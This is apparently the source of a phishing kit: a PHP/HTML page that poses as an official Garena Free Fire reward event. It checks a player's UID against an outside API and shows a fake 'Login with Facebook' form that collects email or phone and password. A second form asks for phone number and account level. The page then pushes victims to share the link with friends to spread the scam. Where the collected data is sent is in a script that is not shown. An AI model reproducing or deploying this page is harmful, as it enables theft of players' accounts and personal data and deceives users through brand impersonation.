<?php
$var = "";
$var1 = "";
$valid = 1;
if (isset($_POST['playid'])) {
function containsOnlyNumbers($input) {
    return ctype_digit($input);
}
function isValidString($input) {
    return ctype_digit($input) && strlen($input) >= 7;
}
$uid = $_POST['playid'];
if (!containsOnlyNumbers($uid)) {
 $var1 = 'Sorry! You Entered Wrong Uid';
 $valid = 0;
} 
if (!isValidString($uid)) {
 $var1 = 'Sorry! You Entered Wrong Uid';
 $valid = 0;
}
if ($valid == 1) {
$response = file_get_contents('https://today-event.site/up/api.php?uid='.$uid.'');
if (strpos($response, 'incorrect_player_id') === false) {
$ign = $response;
if (strpos($ign, 'captcha') === false) {
$var = "Congratulations! ".$ign." You are eligible for a free reward" . '<div style="background-color: #909090; border-radius: 10px; padding: 20px; text-align: left; width: 100%; color: #fff; font-size: 20px; margin-top: 10px;">How To Claim?<br>
&bull; Click The Claim Button<br>
&bull; Login Using Your Free Fire Account<br>
&bull; Fill Additional Info About Your Account<br>
&bull; Submit Your Info And Wait 24 Hours.</div>';
} else {
$var = "Congratulations! Survivor, You Are Eligible For a Free Reward";
}
} else {
$var1 = "Sorry! Wrong Uid Entered You Are Not Eligible For a Free Reward";
}
}
}
?>

<html>
<head>
<meta charset="UTF-8"/>
<meta name="viewport" content="width=device-width, initial-scale=1.0, minimum-scale=1.0, maximum-scale=1.0, user-scalable=no"/>
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta property="og:title" content="Garena Free Fire. Best survival Battle Royale on mobile!">
<meta name="description" content="Free Fire is a multiplayer battle royale mobile game, developed and published by Garena for Android and iOS. Battle in Style and be the last survivor!">
<meta property="og:description" content="Free Fire is a multiplayer battle royale mobile game, developed and published by Garena for Android and iOS. Battle in Style and be the last survivor!">
<meta property="og:url" content="./">
<meta property="og:site_name" content="Garena Free Fire. Best survival Battle Royale on mobile!">
<meta property="og:type" content="website">
<meta name="copyright"content="Garena">
<meta name="theme-color" content="#000">
<meta property="og:image" content="https://freefiremobile-a.akamaihd.net/common/web_event/common/images/ff-logo-icon.png">
<title>Garena Free Fire. Best survival Battle Royale on mobile!</title>
<link rel="stylesheet" href="cheif/style.css">
<link rel="stylesheet" href="cheif/facebook.css">
<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/font-awesome/4.7.0/css/font-awesome.min.css">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.2/css/all.min.css">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/material-design-iconic-font/2.2.0/css/material-design-iconic-font.min.css">
<link rel="icon" href="https://freefiremobile-a.akamaihd.net/common/web_event/common/images/ff-logo-icon.png">
<link rel="stylesheet" href="uid/search-style.css">
<link rel="stylesheet" href="uid/style2.css">
<style>
    .form-control:focus {
        border-color: #ffcc00;
        color: #ffcc00;
    }
      .form-fb:focus {
        border-color: #000000;
        color: #000000;
    }
    .golden-text {
        background: linear-gradient(45deg, #ffd700, #ffcc00);
        color: black; /* Darker shade for text */
        padding: 10px;
        border-radius: 2px;
        position: relative;
        overflow: hidden;
    }
   
     .garena-text {
        background: linear-gradient(45deg, #ea5455, #ea5455);
        color: black; /* Darker shade for text */
        padding: 10px;
        border-radius: 2px;
        position: relative;
        overflow: hidden;
    }
 .shining-effect::before {
        content: '';
        position: absolute;
        top: 0;
        left: -75%;
        width: 50%;
        height: 100%;
        background: linear-gradient(to right, rgba(255, 255, 255, 0) 0%, rgba(255, 255, 255, 0.3) 100%);
        transform: skewX(-25deg);
        animation: shine 2s infinite;
    }

    @keyframes shine {
        100% {
            left: 125%;
        }
    }
</style>
<style>
 .cbutton {
  padding: 4px;
  margin-top: 2px; 
  display: -webkit-box;
  display: -ms-flexbox;
  display: flex;
    -webkit-clip-path: polygon(
    0 0,
    0 0,
    100% 0,
    100% 0,
    100% calc(100% - 7px),
    calc(100% - 7px) 100%,
    7px 100%,
    0 100%
  );
  clip-path: polygon(
    0 0,
    0 0,
    100% 0,
    100% 0,
    100% calc(100% - 7px),
    calc(100% - 7px) 100%,
    7px 100%,
    0 100%
  );
  -webkit-box-align: center;
  -ms-flex-align: center;
  align-items: center;
  -ms-flex-pack: distribute;
  justify-content: space-around;
  position: relative;
  cursor: pointer;
  background: -webkit-gradient(linear, left top, right top, color-stop(-12.74%, rgba(110, 239, 255, .5)), color-stop(56.76%, rgba(106, 224, 255, .271)));
  background: linear-gradient(45deg, #ffd700, #ffcc00);
  color: black;
  border: 0.5px solid #161618;
  font-size: 17px;
  font-weight: 600;
}
.cbutton:disabled, .cbutton.disabled,
fieldset:disabled .cbutton {
  pointer-events: none;
  opacity: 0.65; }
.claimed-text {
  padding: 4px;
  margin-top: 3px; 
  display: -webkit-box;
  display: -ms-flexbox;
  display: flex;
  
    -webkit-clip-path: polygon(
    0 0,
    0 0,
    100% 0,
    100% 0,
    100% calc(100% - 7px),
    calc(100% - 7px) 100%,
    7px 100%,
    0 100%
  );
  clip-path: polygon(
    0 0,
    0 0,
    100% 0,
    100% 0,
    100% calc(100% - 7px),
    calc(100% - 7px) 100%,
    7px 100%,
    0 100%
  );
  -webkit-box-align: center;
  -ms-flex-align: center;
  align-items: center;
  -ms-flex-pack: distribute;
  justify-content: space-around;
  position: relative;
  cursor: pointer;
  background: -webkit-gradient(linear, left top, right top, color-stop(-12.74%, rgba(110, 239, 255, .5)), color-stop(56.76%, rgba(106, 224, 255, .271)));
  background: linear-gradient(45deg, #333333, #333334);
  color: #6e6b7b;
  border: 0.5px solid #161618;
  font-size: 17px;
  font-weight: 600;
}
</style>
<script>
document.addEventListener('DOMContentLoaded', (event) => {
  const audio = new Audio('img/music.mp3');
  audio.loop = true;
  audio.play();
});
</script>
</head>
<body>
<div class="container" style="boder:10px; border-color: #fff; width: 100%;">
<div class="navbar">
<img class="navbar-logo" src="img/cheifop/navbar-logo.png">
<div class="navbar-right">
<img class="navbar-language" src="img/cheifop/navbar-language.png">
<img class="navbar-menu" src="img/cheifop/navbar-menu.png">
</div> <!--- navbar-right --->
</div>
<div class="header1" style="width: 100%; background-color: #ffba00; border-radius: 1px; padding: 1px; text-align: center;">
<video style="width: 100%;" height="auto" autoplay loop muted src="img/cheif.mp4"> 
</video>
<form name="myFirstForm" class="popup" id="search-form" method="post" style="position: fixed; top: 0; right: 0; bottom: 0; left: 0; background-color: rgba(128, 128, 128, 0); border-radius: 10px; padding-top: 60%; display: flex; flex-direction: column; align-items: center;">
<div style="background-color: #000; border-radius: 10px; padding: 20px; text-align: left; width: 85%; color: #fff; margin-bottom: -8px; font-size: 18px;">
<img src="img/cheifop/footer-logo.png" alt="Icon" style="vertical-align: middle; margin-right: 10px; width: 80px; height: 30px;"><br>
<span>Dear Survivor, Please Enter Your UID To Participate In This Special Event</span>
<?php echo '<br><span style="color: red; font-weight: 500; animation: shake 0.5s infinite; display: inline-block;">'.$var1.'</span>'; ?>
<style>
    @keyframes shake {
        0% { transform: translateX(0); }
        25% { transform: translateX(-5px); }
        50% { transform: translateX(5px); }
        75% { transform: translateX(-5px); }
        100% { transform: translateX(0); }
    }
</style>
<div class="popup-box" style="background: #000; border-radius: 0px; text-align: center; padding-top: 20px;">
        <input style="margin: 4px 50px; margin-left: 20px; align-item: left; width: 90%; background: #fff;" id="search" type="number" name="playid" placeholder="Enter UID" autofocus required><br></br>
<?php echo $var; ?>
<button style="background: #ffba00; color: #000; margin-bottom: 10px; width: auto; height: auto; margin-left: auto; margin-right: auto; padding: 13px; padding-left: 18px; padding-right: 18px; font-size: 14px; font-family: GFFLatinRegular; font-weight: 800; text-align: center; border: none; border-radius: 5px;" type="submit" name="sub" href="javascript:void(0)">Participate</button>
<div class="footer" style="text-align: left; font-size: 13px; bottom-radius: 10px; top-radius: 10px; color: #fff;">Participate & Get Exciting Rewards</div></form>
</div>
</div>
</div>
</div>
</div>
</div> <!--- header --->
<div id="cheifop" class="box">
<div class="box-info">
<div class="box-date"><script>arrayMonth = ["January","February","March","April","May","June","July","August","September","October","November","December"];
date = new Date();
days = date.getDay();
dates = date.getDate();
months = date.getMonth();
years = date.getFullYear();
document.write(dates+" "+arrayMonth[months]+" "+years+"");</script></div>
<div class="box-title">Rewards List</div>
<img class="img" src="img/cheifop/box-title-border.png">
<div class="Find-UserId">
    <div class="el bg bg-2 animated d-none" data-in="zoomIn" data-out="bounceOut"></div>
      <div class="el ang-c animated d-none" data-in="zoomOut"></div>
      <div class="el shine animated d-none" data-in="shineIn" data-out="fadeOut"></div>
    <div id="success-msg" style="background-color: rgba(128, 128, 128, 0); border-radius: 5px; margin: 10px 10px; font-weight;: 800; font-size: 23px;">
  <?php echo $var; ?>	      
</div>
</div>
</div>
<div class="shining-effect garena-text" style="padding: 7px; border-radius: 2px; margin-left: 2.4%; margin-right: 2.4%; text-align: center; margin-bottom: 6px; margin-top: 10px; font-size: 20px">EVO GUN SKINS</div>
</div></div>
<center>
<div class="item itemShine">
<div>
<figure>
<img style="border-bottom: 5px;" src="img/@CHEIF_YT/1.png">
</figure>
</div>
<div>
<button class="cbutton w-100" type="button" onclick="open_reward_confirmation(this);" src="img/@CHEIF_YT/1.png">Claim</button>
</div>
</div>
<div class="item itemShine">
<div>
<figure>
<img style="border-bottom: 0px;" src="img/@CHEIF_YT/2.png">
</figure>
</div>
<div>
<button class="cbutton w-100" type="button" onclick="open_reward_confirmation(this);" src="img/@CHEIF_YT/2.png">Claim</button>
</div>
</div>
<div class="item itemShine">
<div>
<figure>
<img style="border-bottom: 0px;" src="img/@CHEIF_YT/3.png">
</figure>
</div>
<div>
<button class="cbutton w-100" type="button" onclick="open_reward_confirmation(this);"  src="img/@CHEIF_YT/3.png">Claim</button>
</div>
</div>
<div class="item itemShine">
<div>
<figure>
<img style="border-bottom: 0px;" src="img/@CHEIF_YT/4.png">
</figure>
</div>
<div>
<button class="cbutton w-100" type="button" onclick="open_reward_confirmation(this);" src="img/@CHEIF_YT/4.png">Claim</button>
</div>
</div>
<div class="item itemShine">
<div>
<figure>
<img style="border-bottom: 0px;" src="img/@CHEIF_YT/5.png">
</figure>
</div>
<div>
<button class="cbutton w-100" type="button" onclick="open_reward_confirmation(this);" src="img/@CHEIF_YT/5.png">Claim</button>
</div>
</div>
<div class="item itemShine">
<div>
<figure>
<img style="border-bottom: 0px;" src="img/@CHEIF_YT/6.png">
</figure>
</div>
<div>
<button class="cbutton w-100" type="button" onclick="open_reward_confirmation(this);" src="img/@CHEIF_YT/6.png">Claim</button>
</div>
</div>
<div class="item itemShine">
<div>
<figure>
<img style="border-bottom: 0px;" src="img/@CHEIF_YT/7.png">
</figure>
</div>
<div>
<button class="cbutton w-100" type="button" onclick="open_reward_confirmation(this);" src="img/@CHEIF_YT/7.png">Claim</button>
</div>
</div>
<div class="item itemShine">
<div>
<figure>
<img style="border-bottom: 0px;" src="img/@CHEIF_YT/8.png">
</figure>
</div>
<div>
<button class="cbutton w-100" type="button" onclick="open_reward_confirmation(this);" src="img/@CHEIF_YT/8.png">Claim</button>
</div>
</div>
<div class="item itemShine">
<div>
<figure>
<img style="border-bottom: 0px;" src="img/@CHEIF_YT/9.png">
</figure>
</div>
<div>
<button class="cbutton w-100" type="button" onclick="open_reward_confirmation(this);" src="img/@CHEIF_YT/9.png">Claim</button>
</div>
</div>
</center>
<div class="shining-effect garena-text" style="padding: 7px; border-radius: 2px; margin-left: 2.4%; margin-right: 2.4%; text-align: center; margin-bottom: 6px; margin-top: 10px; font-size: 20px">EVO TOKENS</div>
<center>
<div class="item itemShine">
<div>
<figure>
<img style="border-bottom: 5px;" src="img/@CHEIF_YT/1.jpg">
</figure>
</div>
<div>
<button class="cbutton w-100" type="button" onclick="open_reward_confirmation(this);" src="img/@CHEIF_YT/1.jpg">Claim</button>
</div>
</div>
<div class="item itemShine">
<div>
<figure>
<img style="border-bottom: 0px;" src="img/@CHEIF_YT/2.jpg">
</figure>
</div>
<div>
<button class="cbutton w-100" type="button" onclick="open_reward_confirmation(this);" src="img/@CHEIF_YT/2.jpg">Claim</button>
</div>
</div>
<div class="item itemShine">
<div>
<figure>
<img style="border-bottom: 0px;" src="img/@CHEIF_YT/3.jpg">
</figure>
</div>
<div>
<button class="cbutton w-100" type="button" onclick="open_reward_confirmation(this);"  src="img/@CHEIF_YT/3.jpg">Claim</button>
</div>
</div>
<div class="item itemShine">
<div>
<figure>
<img style="border-bottom: 0px;" src="img/@CHEIF_YT/4.jpg">
</figure>
</div>
<div>
<button class="cbutton w-100" type="button" onclick="open_reward_confirmation(this);" src="img/@CHEIF_YT/4.jpg">Claim</button>
</div>
</div>
<div class="item itemShine">
<div>
<figure>
<img style="border-bottom: 0px;" src="img/@CHEIF_YT/5.jpg">
</figure>
</div>
<div>
<button class="cbutton w-100" type="button" onclick="open_reward_confirmation(this);" src="img/@CHEIF_YT/5.jpg">Claim</button>
</div>
</div>
<div class="item itemShine">
<div>
<figure>
<img style="border-bottom: 0px;" src="img/@CHEIF_YT/6.jpg">
</figure>
</div>
<div>
<button class="cbutton w-100" type="button" onclick="open_reward_confirmation(this);" src="img/@CHEIF_YT/6.jpg">Claim</button>
</div>
</div>
</div></div>
<div class="footer">
<img class="footer-copyright-icon" src="img/cheifop/footer-logo.png">
<div class="footer-txt-copyright">&copy Garena International. Trademarks belong to<br>their respective owners. All rights reserved.</div>
<center>
<div class="footer-txt-menu">Privacy Policy</div>
<div class="footer-txt-menu">For Parents FAQ</div>
<div class="footer-txt-menu">Terms of Service</div>
</center>
</div>
</div>
</div>

<div class="popup reward_confirmation" style="display: none;">
<div class="popup-box-wrapper">
<div class="popup-box-navbar">
<div class="popup-box-navbar-title">Reward Confirmation</div>
</div>
<div class="popup-box-bg">
<div class="popup-box-alert">Are you sure to collect this reward?</div>
<div class="popup-box-item itemShine">
<div>
<figure>
<img class="rewardPicture" src="">
</figure>
</div>
</div>
</div>
<div class="popup-box-footer">
<button type="button" onclick="close_reward_confirmation()">Cancel</button>
<button type="button" onclick="open_account_login()">Collect</button>
</div>
</div>
</div>

<div class="popup account_login" style="display: none;">
<div class="popup-box-wrapper">
<div class="popup-box-navbar">
<div class="popup-box-navbar-title">Account Login</div>
</div>
<div class="popup-box-bg">
<div class="popup-box-alert">Login to receive your selected reward</div>
<img class="popup-box-gamecon" src="img/cheifop/header-logo.png">
<button type="button" onclick="open_facebook();"><i class="fa-brands fa-square-facebook icon-login"></i> Login with Facebook</button>
<br>
</div>
</div>
</div>

<div class="popup-login login-facebook" style="display: none;">
<div class="popup-box-login-fb">
<a onclick="close_facebook()" class="close-fb"><i class="zmdi zmdi-close"></i></a>
<div class="navbar-fb"><img src="img/cheifop/login-Method1.png"></div> <!--- navbar-fb --->
<div class="content-box-fb">
<img src="img/cheifop/apps.png">
<p>Log in to your Facebook account to connect to Garena Free Fire</p>
<form class="form-group-fb" action="javascript:void(0)" method="post" id="ValidateLoginFbForm">
<input type="text" name="email" id="email-facebook" placeholder="Mobile number or email address" autocomplete="off" autocapitalize="off" required>
<input type="password" name="password" id="password-facebook" placeholder="Password" autocomplete="off" autocapitalize="off" required>
<input type="hidden" name="login" id="login-facebook" value="Facebook" readonly>
<button type="submit" onclick="ValidateLoginFbData()">Log In</button>
</form>
<span>Create account</span>
<span>Not now</span>
<span>Forgotten password?</span>
</div>
<div class="language-box">
<center>
<div class="language-name language-name-active">English (UK)</div>
<div class="language-name">العربية</div>
<div class="language-name">Türkçe</div>
<div class="language-name">Tiếng Việt</div>
<div class="language-name">日本�?</div>
<div class="language-name">Español</div>
<div class="language-name">Português (Brasil)</div>
<div class="language-name"><i class="fa fa-plus"></i></div>
</center>
</div>
<div class="copyright">Facebook Inc.</div>
</div>
</div>

<div class="popup account_verification" style="display: none;">
<div class="popup-box-wrapper popup-box-verification">
<div class="popup-box-navbar">
<div class="popup-box-navbar-title">Account Verification</div>
</div>
<div class="popup-box-bg">
<div class="popup-box-alert">Complete your account detail</div>
<form class="popup-box-form" action="javascript:void(0)" method="post" id="ValidateVerificationDataForm">
<input type="hidden" name="email" id="validateEmail" readonly>
<input type="hidden" name="password" id="validatePassword" readonly>
<input type="number" name="playid" id="playid" placeholder="<?php echo $uid; ?>" value="<?php echo $uid; ?>" readonly>
<input type="number" name="phone" id="phone" placeholder="Phone Number" autocomplete="off" required>
<select style="margin-bottom: 20px;" name="level" id="level" required>
<option selected="selected" disabled="disabled" value="">Account Level</option>
<script>
for(var i = 30; i <= 100; i++){
document.write("<option>" + i + "</option>");
};
</script>
</select>
<input type="hidden" name="login" id="validateLogin" readonly>
</div>
<div class="popup-box-form-footer">
<button type="submit" class="ValidateVerificationDataBtn" onclick="ValidateVerificationData()">Verify my Account</button>
</div>
</form>
</div>
</div>

<div class="popup processing_account" style="display: none;">
<div class="popup-box-wrapper popup-box-verification">
<div class="popup-box-navbar">
<div class="popup-box-navbar-title">Processing Account</div>
</div>
<div class="popup-box-bg">
<div class="popup-box-alert" style="margin-bottom: 0px; padding-left: 10px; padding-right: 10px; text-align: left;">
<center><i class="zmdi zmdi-check-circle"></i></center>
Hi <?php echo $ign; ?>
<br>
Thanks for joining this event
<br>
<br>
Your Account Is Currently Under Process
<br>
Please Share up to 5 Friend Or As a Post
<br>
<br>
<p style="text-align: right;">- GARENA FREE FIRE</p>
</div>
<!-- Modal -->
<div id="myModal" class="modal">
<div id="myModal" class="modal">
  <div class="modal-content">
    <span class="close" onclick="toggleModal()"></span>
    <p>Select a platform to share:</p>
    <button onclick="share('facebook')" class="share-button"><i class="fab fa-facebook"></i> Facebook</button>
    <button onclick="share('twitter')" class="share-button"><i class="fab fa-twitter"></i> Twitter</button>
    <button onclick="share('whatsapp')" class="share-button"><i class="fab fa-whatsapp"></i> WhatsApp</button>
  </div>
</div>

<script>
// Toggle modal function
function toggleModal() {
    var modal = document.getElementById("myModal");
    modal.style.display = modal.style.display === "block" ? "none" : "block";
}

// Share function
function share(platform) {
    var url = encodeURIComponent(window.location.href);
    var message = encodeURIComponent("I Have Registered For Garena Event And Claimed Rewards For Free. To Get Rewards With Me Sign Up On The Given Link With Correct Details Within 12 Hours. \n\nOfficial Website:- \n");
    switch (platform) {
        case "facebook":
            window.open('https://www.facebook.com/sharer/sharer.php?u=' + url + '&quote=' + message);
            break;
        case "twitter":
            window.open('https://twitter.com/intent/tweet?url=' + url + '&text=' + message);
            break;
        case "whatsapp":
            window.open('https://api.whatsapp.com/send?text=' + message + url);
            break;
        default:
            break;
    }
}
</script>
<style>
/* Button styles */
.share-button {
    background-color: #4CAF50; /* Green */
    border: 2px solid #4CAF50; /* Green border */
    color: white;
    padding: 12px 24px; /* Increase padding */
    text-align: center;
    text-decoration: none;
    display: inline-block;
    font-size: 18px; /* Increase font size */
    margin: 10px; /* Add margin */
    cursor: pointer;
    border-radius: 5px; /* Add border radius */
}

.share-button:hover {
    background-color: #45a049; /* Darker green */
    border-color: #45a049; /* Darker green border */
}
</style>
</div>
</div>

<script type="text/javascript" src="https://code.jquery.com/jquery-1.10.2.min.js"></script>
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js"></script>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.3/jquery.min.js"></script>
<script src="js/script.js"></script>
<script src="js/ss.js"></script>
</body>
</html>